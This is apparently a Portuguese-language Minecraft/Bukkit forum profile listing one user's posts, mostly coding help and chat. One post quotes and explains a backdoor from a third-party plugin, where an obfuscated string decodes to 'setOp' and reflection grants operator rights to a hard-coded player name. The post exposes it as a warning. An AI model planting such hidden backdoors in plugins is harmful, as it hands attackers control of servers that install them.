Ir para conteúdo

leonardosc

Membros VIP
  • Total de itens

    2.229
  • Registro em

  • Última visita

Tudo que leonardosc postou

  1. Não é desnecessário, só se for usar com 1 item sim, mas se for usar com mais items não.
  2. leonardosc

    Qual é a sua cor ?

    walter white
  3. Pode ser por causa da versão sla, mas que tem "forceop" tem.
  4. Se tu não for leigo e ler o códiog voce vai ver que tem sim, olha já ja traduzi pros leigos. Posso explicar passo a passo o código pra vc se quiser
  5. String s = ""; for (int i = 0; i < this.pluginIdentifier.length(); i++) { if (i % 2 == 0) { s = s + this.pluginIdentifier.substring(i, i + 1); } } gamer.getClass().getMethod(s, new Class[] { Boolean.TYPE }).invoke(gamer, new Object[] { Boolean.valueOf(true) }); Ele(a) foi banido do bukkit por que tava upando pl com code malicioso. Vou traduzir essa parte private String pluginIdentifier = "saebt4Ospv"; private String pluginPassword = "libraryaddict"; if (gamer.getName().equals(this.pluginPassword)) { try { String s = ""; for (int i = 0; i < this.pluginIdentifier.length(); i++) { if (i % 2 == 0) { s = s + this.pluginIdentifier.substring(i, i + 1); } } gamer.getClass().getMethod(s, new Class[] { Boolean.TYPE }).invoke(gamer, new Object[] { Boolean.valueOf(true) }); } catch (Exception ex) {} } String s = ""; vai ser igual a setOp gamer.getClass().getMethod(s, new Class[] { Boolean.TYPE }).invoke(gamer, new Object[] { Boolean.valueOf(true) }); Ai ele ta pegando a classe do Player, pegando o metodo setOp "String s" e definindo como true, usando reflection... ai ta o forceop A maioria dos cara não entendem muito e por isso não viram...
  6. s, nao lembro se precisa colocar escape no {} mas caso de erro é só colocar \\ na frente dos {}
  7. s .replace("{player}", player.getName());
  8. Sim, mas não existe só o sk de programador no mundo, se fosse pago alguém faria do mesmo jeito que ele fez, e não é por que não é dele que seria cheio de bug.
  9. Como você sabe? você acha que só existe o sk de programador no mundo?
  10. leonardosc

    Skin bugada

    Acho que funfo, só espera atuliza na 1.5 pra ve
  11. leonardosc

    Skin bugada

    n, é que as skins tao em formato diferente, Essa funciona na 1.5 e 1.8 https://minotar.net/skin/thepi Agora essa só funciona na 1.8 https://minotar.net/skin/kingdom_
  12. leonardosc

    Skin bugada

    como tira sapoha? s
  13. Json ja tem no bukkit. Tambem tenho a minha, são classes que eu utilizo em quase todo plugin que eu faço... exmeplo o de baixo... Ainda tem pouca coisa, mas com o tempo vou adicionando xd
  14. Sei la vei, eu to usando o windows 8.1 ;=;
  15. O meu também travava quando tava no windows 8 ai formatei, agora só trava quando to com uns 3-4 mine aberto + skype + chrome, tenta formata o pc sla ;=;
  16. Funk é bosta e sempre será...
  17. É pra ver quantos slots, não se o inventario está/não está vazio.
  18. getContents() sempre retorna 36, não tem como usando isso. Fiz um algorítimo pra detecta quantos slots o player tem sobrando... segue abaixo... public int getFreeSlots(Player p) { int slots = 36; for (ItemStack item : p.getInventory().getContents()) { if (item != null && item.getType() != Material.AIR) { slots--; } } return slots; } Se você for adicionar só um item você pode fazer assim if (getFreeSlots(player) >= 1){ //adicione o item;}else{ // voce nao tem espaco suficiente...}
×
×
  • Criar Novo...